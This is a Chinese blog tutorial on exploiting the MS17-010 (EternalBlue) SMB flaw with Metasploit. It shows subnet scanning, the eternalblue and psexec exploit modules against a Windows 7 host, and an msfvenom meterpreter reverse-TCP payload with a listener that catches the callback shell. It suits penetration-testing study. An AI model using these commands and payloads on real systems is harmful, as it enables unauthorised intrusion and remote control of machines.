Metasploit-ms17-010 永恒之蓝


永恒之蓝是去年玩剩下的了,记得当初刚刚泄露的时候,用的是 NSA 那个 fb.py 脚本去复现漏洞的。现在 Metasploit 里面已经集成了 17-010 漏洞,渗透测试更加方便与正式化,内网中用 17-010 去测一测会发现意外惊喜哦。

写在前面

起初在 Docker 环境下最后执行 exploit 的时候总是拿不到 sessions,换了很多系统失败了很多次。后来果断感觉是 Docker 环境的问题,于是用虚拟机下的 Kali 测试,最后测试成功~~~ 所以测试的时候尽量少用Docker环境下的Kali来监听反弹的sessions哦 后来给幸安哥描述了这个情况,得到答复是 docker 做这个反弹shell监听得把445端口映射出来才可以~~ 涨姿势了。关于端口映射后面会单独写文章来介绍,关于 msf一些高级用法本打算写在这篇文章里面的,后来发现有的冗余了,准备另开文章来写。 实际上这里又咕咕咕了,2021 年了,发现自己对 Docker 的理解更深了,当初自己好菜啊,居然不知道端口映射。

Metasploit 正题

搜索相关的漏洞插件

msf > search 17-010

搜索到了 4 个相关的插件:

  1. auxiliary/admin/smb/ms17_010_command
  2. auxiliary/scanner/smb/smb_ms17_010
  3. exploit/windows/smb/ms17_010_eternalblue
  4. exploit/windows/smb/ms17_010_psexec

其中前 2 个插件是auxiliary目录下的,属于辅助验证程序。
3 和 4 是exploit目录下的,这才是我们重点研究的对象~

使用辅助验证插件测试

这里就拿auxiliary/scanner/smb/smb_ms17_010这个扫描插件来测试,这个插件的作用是扫描可能含有 ms17-010 漏洞的服务器。

msf > use auxiliary/scanner/smb/smb_ms17_010

msf auxiliary(scanner/smb/smb_ms17_010) > show options

Module options (auxiliary/scanner/smb/smb_ms17_010):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   CHECK_ARCH  true             yes       Check for architecture on vulnerable hosts
   CHECK_DOPU  true             yes       Check for DOUBLEPULSAR on vulnerable hosts
   RHOSTS                       yes       The target address range or CIDR identifier
   RPORT       445              yes       The SMB service port (TCP)
   SMBDomain   .                no        The Windows domain to use for authentication
   SMBPass                      no        The password for the specified username
   SMBUser                      no        The username to authenticate as
   THREADS     1                yes       The number of concurrent threads

这里的show options是显示这个插件相关的一些参数,在Required这一栏下面是yes的表示必填参数,这里面还剩RHOSTS这个参数没有填写即目标网段。下面设置一个目标网段,准备进行扫描测试:

msf auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 10.10.55.1/24
RHOSTS => 10.10.55.1/24

设置扫描线程,插件默认是1,这里设置为50

msf auxiliary(scanner/smb/smb_ms17_010) > set THREADS 50
THREADS => 50

可以执行show options查看自己刚刚填写的参数信息:

开始执行插件:

msf auxiliary(scanner/smb/smb_ms17_010) > run

或者

msf auxiliary(scanner/smb/smb_ms17_010) > exploit

可以看到扫描出很多含有漏洞的主机了:

使用 exploit 模块来进行攻击测试

exploit/windows/smb/ms17_010_eternalblue

msf > use exploit/windows/smb/ms17_010_eternalblue

msf exploit(windows/smb/ms17_010_eternalblue) > run

exploit 成功~~

exploit/windows/smb/ms17_010_psexec

msf > use exploit/windows/smb/ms17_010_psexec

msf exploit(windows/smb/ms17_010_psexec) > set RHOST 10.10.55.174
RHOST => 10.10.55.174

msf exploit(windows/smb/ms17_010_psexec) > run

失败~~

msf exploit(windows/smb/ms17_010_psexec) > exploit

[*] Started reverse TCP handler on 10.101.177.185:4444
[*] 10.10.55.174:445 - Target OS: Windows 7 Ultimate 7601 Service Pack 1
[-] 10.10.55.174:445 - Unable to find accessible named pipe!
[*] Exploit completed, but no session was created.

黑客组织 Shadow Brokers 公布了美国国家安全局 NSA 的内部黑客工具和漏洞利用代码,包括三大工具 EternalChampion、EternalRomance 和 EternalSynergy,近日一位安全研究人员 Sean Dillon(RiskSense) 改良了这三大黑客工具的源代码,使其适用于 Windows 2000 之后 20 年间的所有微软操作系统,包括 32 位和 64 位版本。

这里我随便测试了没有成功,可能是这里我测试的 win7 版本有点不一样,和官方介绍的所有版本略微有点不一样~~不过在测试Server 08 R2版本的时候执行效率很高,可以很快拿到反弹的 shell。所以具体改良了哪些建议实际动手去测试一番。

msf 简单反弹 shell 模板

Kali 操作机器的ip地址是:10.101.177.185,将 shell 会话转到 kali 的6666端口上。

生成 payload

payload 生成有 32 位和 64 位,所以生成的时候得明确目标系统的位数,否则运行或者拿到会话的时候回 GG,服务器那边弹出停止响应的运行框。

root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.101.177.185 LPORT=6666 -f exe > shell.exe

然后把生成的 shell.exe 拷贝到 Windows 下面,准备运行~

32 位payload的生成语句就是windows/meterpreter/reverse_tcp去掉x64

监听shell会话

msf > use exploit/multi/handler
msf > set LHOST 10.0.0.103
msf > set LPORT 6666
msf > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf > exploit

[*] Started reverse TCP handler on 10.101.177.185:6666

然后 msf 就开始监听本机的 6666 的端口了。

运行 shell.exe

这个时候在 windows下点击之前生成的shell.exe,msf 这里会劫持到会话:

32 位系统,这里做如下调整:set PAYLOAD windows/meterpreter/reverse_tcp去掉x64

meterpreter 汉字乱码问题

成因

Linux下面汉字默认是 UTF-8 编码,Windows下汉字使用的是 GBK 系列编码,所以把当期终端换个编码就可以解决乱码问题了,次问题完结。

解决方案

Kali 下先勾选GBK编码 :

然后将终端临时设置为GBK系列编码即可。

注:这是早期 Kali 自带的 GNome 终端的界面,现在 Kali 都 2021.x 的版本了,大家自行摸索。

效果对比

msf 乱码

msf 汉字正常

点评

本文真的是太水了,当初真的是没有文章可写了吗???黑人问号,不过凡事存在即合理,所以本文总会帮助到需要帮助的人的。

本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)

微信
支付宝

没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光


文章作者:  国光
版权声明:  本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 国光 !
 上一篇
低成本打造一个高性能的外网 Metasploit 低成本打造一个高性能的外网 Metasploit
本文主要围绕着 frp 这个神器来展开写的,frp 还有很多高级的用法,想要深入研究的建议去阅读作者写在 GitHub 上的官方文档去学习,本文只起到一个抛砖引玉的作用。
2018-03-28
下一篇 
PHP代码安全杂谈 PHP代码安全杂谈
虽然PHP是世界上最好的语言,但是也有一些因为弱类型语言的安全性问题出现。WordPress历史上就出现过由于PHP本身的缺陷而造成的一些安全性问题,如CVE-2014-0166 中的cookie伪造就是利用了PHP Hash比较的缺陷。
2018-01-29
  目录